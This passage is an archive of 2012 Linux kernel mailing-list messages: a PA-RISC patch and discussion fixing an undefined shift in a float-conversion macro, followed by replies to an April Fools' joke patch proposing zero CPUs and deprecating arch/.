GCC testsuite with GCC configured with --with-arch=2.0.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-93-657436718
Content-Disposition: attachment; filename="cnv-float-patch.txt"
Content-Type: text/plain; x-unix-mode=0644; name="cnv-float-patch.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/math-emu/cnv_float.h b/arch/parisc/math-emu/cnv_float.h
index 9071e09..37299c7 100644
--- a/arch/parisc/math-emu/cnv_float.h
+++ b/arch/parisc/math-emu/cnv_float.h
@@ -347,16 +347,15 @@
     Sgl_isinexact_to_fix(sgl_value,exponent)
 
 #define Duint_from_sgl_mantissa(sgl_value,exponent,dresultA,dresultB)	\
-  {Sall(sgl_value) <<= SGL_EXP_LENGTH;  /*  left-justify  */		\
+  {unsigned int val = Sall(sgl_value) << SGL_EXP_LENGTH;		\
     if (exponent <= 31) {						\
     	Dintp1(dresultA) = 0;						\
-    	Dintp2(dresultB) = (unsigned)Sall(sgl_value) >> (31 - exponent); \
+    	Dintp2(dresultB) = val >> (31 - exponent);			\
     }									\
     else {								\
-    	Dintp1(dresultA) = Sall(sgl_value) >> (63 - exponent);		\
-    	Dintp2(dresultB) = Sall(sgl_value) << (exponent - 31);		\
+    	Dintp1(dresultA) = val >> (63 - exponent);			\
+    	Dintp2(dresultB) = exponent <= 62 ? val << (exponent - 31) : 0;	\
     }									\
-    Sall(sgl_value) >>= SGL_EXP_LENGTH;  /* return to original */	\
   }
 
 #define Duint_setzero(dresultA,dresultB) 	\

--Apple-Mail-93-657436718
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-93-657436718--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] PARISC: Avoid undefined shift in cnv_float.h
Date: Sun, 01 Apr 2012 10:06:30 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <1333299990.9720.0.camel@dabdike>
References: <BLU0-SMTP6824DB7507844D291735CC974F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1333299995 25550 80.91.229.3 (1 Apr 2012 17:06:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2012 17:06:35 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 01 19:06:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SEOEb-0005p3-Px
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Apr 2012 19:06:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751636Ab2DARGd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Apr 2012 13:06:33 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50057 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751512Ab2DARGd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Apr 2012 13:06:33 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 51A808EE145;
	Sun,  1 Apr 2012 10:06:32 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Z2Jq7ow8zEfR; Sun,  1 Apr 2012 10:06:32 -0700 (PDT)
Original-Received: from [10.11.4.61] (50-1-53-18.dedicated.static.sonic.net [50.1.53.18])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 134698EE086;
	Sun,  1 Apr 2012 10:06:32 -0700 (PDT)
In-Reply-To: <BLU0-SMTP6824DB7507844D291735CC974F0@phx.gbl>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4269
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4269>

On Sun, 2012-04-01 at 12:57 -0400, John David Anglin wrote:
> The attached change fixes a float conversion problem found running the
> GCC testsuite with GCC configured with --with-arch=2.0.

Could you describe the actual problem? (it helps enormously when people
look at the change logs a year later and try and work out what the
actual issue is).

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] PARISC: Avoid undefined shift in cnv_float.h
Date: Sun, 1 Apr 2012 13:25:17 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <BLU0-SMTP946BD083EC5DC957E1A8F6974F0@phx.gbl>
References: <BLU0-SMTP6824DB7507844D291735CC974F0@phx.gbl> <1333299990.9720.0.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1333301130 899 80.91.229.3 (1 Apr 2012 17:25:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2012 17:25:30 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 01 19:25:30 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SEOWv-00087H-1S
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Apr 2012 19:25:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752540Ab2DARZ2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Apr 2012 13:25:28 -0400
Original-Received: from blu0-omc4-s12.blu0.hotmail.com ([65.55.111.151]:6000 "EHLO
	blu0-omc4-s12.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752420Ab2DARZ1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Apr 2012 13:25:27 -0400
Original-Received: from BLU0-SMTP94 ([65.55.111.135]) by blu0-omc4-s12.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 1 Apr 2012 10:25:26 -0700
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP94.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 1 Apr 2012 10:25:26 -0700
In-Reply-To: <1333299990.9720.0.camel@dabdike>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Apr 2012 17:25:26.0466 (UTC) FILETIME=[6D75E220:01CD102C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4270
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4270>

On 1-Apr-12, at 1:06 PM, James Bottomley wrote:

> On Sun, 2012-04-01 at 12:57 -0400, John David Anglin wrote:
>> The attached change fixes a float conversion problem found running  
>> the
>> GCC testsuite with GCC configured with --with-arch=2.0.
>
> Could you describe the actual problem? (it helps enormously when  
> people
> look at the change logs a year later and try and work out what the
> actual issue is).


The actual problem occurs for an exponent value of 63.  This is the  
maximum
exponent value that can be passed.  This causes a left shift by 32 in  
the else
hunk of the macro.  This causes undefined behavior and the wrong value  
is
returned for dresultB.  The fix is the check "exponent <= 62".  If the  
exponent
is 63, dresultB is set to 0.

The patch also optimizes the operation a bit by copying
"Sall(sgl_value) << SGL_EXP_LENGTH" to val, so that sgl_value is not  
modified.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state
 space
Date: Sun, 1 Apr 2012 19:34:55 +0200 (CEST)
Lines: 97
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.02.1204011930010.2542@ionos>
References: <20120331163321.GA15809@linux.vnet.ibm.com> <20120331223200.GA32482@n2100.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1333301716 4825 80.91.229.3 (1 Apr 2012 17:35:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2012 17:35:16 +0000 (UTC)
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, dhowells@redhat.com,
	jejb@parisc-linux.org, linux390@de.ibm.com, x86@kernel.org,
	cmetcalf@tilera.com
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-alpha-owner@vger.kernel.org Sun Apr 01 19:35:12 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1SEOgI-0007Uw-NB
	for lnx-linux-alpha@plane.gmane.org; Sun, 01 Apr 2012 19:35:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752377Ab2DARfJ (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sun, 1 Apr 2012 13:35:09 -0400
Original-Received: from www.linutronix.de ([62.245.132.108]:46839 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751601Ab2DARfH (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Sun, 1 Apr 2012 13:35:07 -0400
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.72)
	(envelope-from <tglx@linutronix.de>)
	id 1SEOg5-00051j-Aw; Sun, 01 Apr 2012 19:34:57 +0200
In-Reply-To: <20120331223200.GA32482@n2100.arm.linux.org.uk>
User-Agent: Alpine 2.02 (LFD 1266 2009-07-14)
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1779 gmane.linux.kernel:1276179 gmane.linux.ports.arm.kernel:159925 gmane.linux.hardware.blackfin.kernel.devel:6380 gmane.linux.ports.hexagon:423 gmane.linux.ports.ia64:22190 gmane.linux.ports.mips.general:33957 gmane.linux.ports.parisc:4271 gmane.linux.ports.ppc64.devel:81371 gmane.linux.ports.sh.devel:14245 gmane.linux.ports.sparc:16008
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1779>

On Sat, 31 Mar 2012, Russell King - ARM Linux wrote:

> On Sun, Apr 01, 2012 at 12:33:21AM +0800, Paul E. McKenney wrote:
> > Although there have been numerous complaints about the complexity of
> > parallel programming (especially over the past 5-10 years), the plain
> > truth is that the incremental complexity of parallel programming over
> > that of sequential programming is not as large as is commonly believed.
> > Despite that you might have heard, the mind-numbing complexity of modern
> > computer systems is not due so much to there being multiple CPUs, but
> > rather to there being any CPUs at all.  In short, for the ultimate in
> > computer-system simplicity, the optimal choice is NR_CPUS=0.
> > 
> > This commit therefore limits kernel builds to zero CPUs.  This change
> > has the beneficial side effect of rendering all kernel bugs harmless.
> > Furthermore, this commit enables additional beneficial changes, for
> > example, the removal of those parts of the kernel that are not needed
> > when there are zero CPUs.
> > 
> > Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> > Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> 
> Great work, but I don't think you've gone far enough with this.
> 
> What would really help is if you could consolidate all these NR_CPUS
> definitions into one place so we don't have essentially the same thing
> scattered across all these architectures.  We're already doing this on
> ARM across our platforms, and its about time such an approach was taken
> across the entire kernel tree.
> 
> It looks like the MIPS solution would be the best one to pick.
> Could you rework your patch to do this please?
> 
> While you're at it, you might like to consider that having zero CPUs
> makes all this architecture support redundant, so maybe you've missed
> a trick there - according to my count, we could get rid of almost 3
> million lines of code from arch.  We could replace all that with a
> single standard implementation.

For a first step we can deprecated arch/ and make it depend on
CONFIG_STAGING. That way we can have it around a bit for sentimental
reasons w/o having a lot of churn.

Suggested-by: Russell King <rmk+kernel@arm.linux.org.uk>
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>

Index: tip/Makefile
===================================================================
--- tip.orig/Makefile
+++ tip/Makefile
@@ -564,7 +564,9 @@ else
 KBUILD_CFLAGS	+= -O2
 endif
 
+ifdef CONFIG_ARCH_SUPPORT
 include $(srctree)/arch/$(SRCARCH)/Makefile
+endif
 
 ifneq ($(CONFIG_FRAME_WARN),0)
 KBUILD_CFLAGS += $(call cc-option,-Wframe-larger-than=${CONFIG_FRAME_WARN})
Index: tip/drivers/staging/Kconfig
===================================================================
--- tip.orig/drivers/staging/Kconfig
+++ tip/drivers/staging/Kconfig
@@ -1,6 +1,10 @@
+config ARCH_SUPPORT
+	bool
+
 menuconfig STAGING
 	bool "Staging drivers"
 	default n
+	select ARCH_SUPPORT
 	---help---
 	  This option allows you to select a number of drivers that are
 	  not of the "normal" Linux kernel quality level.  These drivers
Index: tip/Documentation/feature-removal-schedule.txt
===================================================================
--- tip.orig/Documentation/feature-removal-schedule.txt
+++ tip/Documentation/feature-removal-schedule.txt
@@ -537,3 +537,13 @@ When:	3.6
 Why:	setitimer is not returning -EFAULT if user pointer is NULL. This
 	violates the spec.
 Who:	Sasikantha Babu <sasikanth.v19@gmail.com>
+
+-----------------------------
+
+What:	Remove arch
+When:	April 1st 2013
+Why:    NR_CPUS=0 made arch/ obsolete. Keep it around a bit for
+	sentimental reasons.
+Who:	paulmck,tglx.rmk
+
+	
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sun, 1 Apr 2012 11:11:15 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20120401181114.GY2450@linux.vnet.ibm.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
 <20120401100448.GD14848@liondog.tnic>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333303921 19871 80.91.229.3 (1 Apr 2012 18:12:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2012 18:12:01 +0000 (UTC)
To: Borislav Petkov <bp@alien8.de>, linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Apr 01 20:11:54 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SEPFp-0003xs-Vn
	for glk-linux-kernel-3@plane.gmane.org; Sun, 01 Apr 2012 20:11:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752864Ab2DASLl (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 1 Apr 2012 14:11:41 -0400
Original-Received: from e35.co.us.ibm.com ([32.97.110.153]:45022 "EHLO
	e35.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752418Ab2DASLh (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 1 Apr 2012 14:11:37 -0400
Original-Received: from /spool/local
	by e35.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-kernel@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sun, 1 Apr 2012 12:11:37 -0600
Original-Received: from d01dlp03.pok.ibm.com (9.56.224.17)
	by e35.co.us.ibm.com (192.168.1.135) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sun, 1 Apr 2012 12:11:30 -0600
Original-Received: from d01relay04.pok.ibm.com (d01relay04.pok.ibm.com [9.56.227.236])
	by d01dlp03.pok.ibm.com (Postfix) with ESMTP id 83958C90052;
	Sun,  1 Apr 2012 14:11:28 -0400 (EDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d01relay04.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q31IBSLk334608;
	Sun, 1 Apr 2012 14:11:29 -0400
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q31IBPGl024210;
	Sun, 1 Apr 2012 12:11:28 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-49-152-53.mts.ibm.com [9.49.152.53])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q31IBO59024187;
	Sun, 1 Apr 2012 12:11:25 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 0E3C3E4ABB; Sun,  1 Apr 2012 11:11:15 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20120401100448.GD14848@liondog.tnic>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12040118-6148-0000-0000-000004B8C6C6
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1276194 gmane.linux.ports.alpha:1780 gmane.linux.ports.arm.kernel:159927 gmane.linux.hardware.blackfin.kernel.devel:6381 gmane.linux.ports.hexagon:424 gmane.linux.ports.ia64:22191 gmane.linux.ports.mips.general:33958 gmane.linux.ports.parisc:4272 gmane.linux.ports.ppc64.devel:81372 gmane.linux.ports.sh.devel:14246 gmane.linux.ports.sparc:16009
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1276194>

On Sun, Apr 01, 2012 at 12:04:48PM +0200, Borislav Petkov wrote:
> On Sun, Apr 01, 2012 at 12:33:21AM +0800, Paul E. McKenney wrote:
> > Although there have been numerous complaints about the complexity of
> > parallel programming (especially over the past 5-10 years), the plain
> > truth is that the incremental complexity of parallel programming over
> > that of sequential programming is not as large as is commonly believed.
> > Despite that you might have heard, the mind-numbing complexity of modern
> > computer systems is not due so much to there being multiple CPUs, but
> > rather to there being any CPUs at all.  In short, for the ultimate in
> > computer-system simplicity, the optimal choice is NR_CPUS=0.
> > 
> > This commit therefore limits kernel builds to zero CPUs.  This change
> > has the beneficial side effect of rendering all kernel bugs harmless.
> > Furthermore, this commit enables additional beneficial changes, for
> > example, the removal of those parts of the kernel that are not needed
> > when there are zero CPUs.
> > 
> > Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> > Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> 
> Looks good, thanks for doing that.
> 
> Btw, I just got confirmation from hw folk that we can actually give you
> hardware support for that code with an upcoming CPU which has NR_CPUS=0
> cores.
> 
> Oh, and additionally, we can disable some of those so getting into the
> negative is also doable from the hw perspective, so feel free to explore
> that side of the problem too.
> 
> ACK.

Cute!  ;-)

							Thanx, Paul


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sun, 1 Apr 2012 11:12:11 -0700
Lines: 100
Approved: news@gmane.org
Message-ID: <20120401181211.GZ2450@linux.vnet.ibm.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
 <20120331223200.GA32482@n2100.arm.linux.org.uk>
 <alpine.LFD.2.02.1204011930010.2542@ionos>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1333303976 20334 80.91.229.3 (1 Apr 2012 18:12:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2012 18:12:56 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-ia64@vger.kernel.org, linux-m32r@ml.linux-m32r.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
 linux-kernel@vger.kernel.org, cmetcalf@tilera.com, jejb@parisc-linux.org,
 dhowells@redhat.com, linux390@de.ibm.com, linux-am33-list@redhat.com,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 uclinux-dist-devel@blackfin.uclinux.org, x86@kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Sun Apr 01 20:12:52 2012
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1SEPGl-0004lG-0Q
	for linux-arm-kernel@m.gmane.org; Sun, 01 Apr 2012 20:12:51 +0200
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1SEPGQ-0007ME-TD; Sun, 01 Apr 2012 18:12:30 +0000
Original-Received: from e37.co.us.ibm.com ([32.97.110.158])
 by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
 id 1SEPGO-0007LQ-7n
 for linux-arm-kernel@lists.infradead.org; Sun, 01 Apr 2012 18:12:28 +0000
Original-Received: from /spool/local
 by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-arm-kernel@lists.infradead.org> from <paulmck@linux.vnet.ibm.com>; 
 Sun, 1 Apr 2012 12:12:26 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
 by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized
 Use Only! Violators will be prosecuted; 
 Sun, 1 Apr 2012 12:12:24 -0600
Original-Received: from d03relay05.boulder.ibm.com (d03relay05.boulder.ibm.com
 [9.17.195.107])
 by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 89EE41FF0038
 for <linux-arm-kernel@lists.infradead.org>;
 Sun,  1 Apr 2012 12:12:23 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
 by d03relay05.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id
 q31ICOUQ266914
 for <linux-arm-kernel@lists.infradead.org>; Sun, 1 Apr 2012 12:12:24 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
 by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id
 q31ICMod026550
 for <linux-arm-kernel@lists.infradead.org>; Sun, 1 Apr 2012 12:12:23 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-49-152-53.mts.ibm.com
 [9.49.152.53])
 by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id
 q31ICLaX026518; Sun, 1 Apr 2012 12:12:21 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
 id B6E85E4ABB; Sun,  1 Apr 2012 11:12:11 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.02.1204011930010.2542@ionos>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12040118-7408-0000-0000-000003E2E4A8
X-Spam-Note: CRM114 invocation failed
X-Spam-Score: -6.9 (------)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-6.9 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -5.0 RCVD_IN_DNSWL_HI       RBL: Sender listed at http://www.dnswl.org/, high
 trust [32.97.110.158 listed in list.dnswl.org]
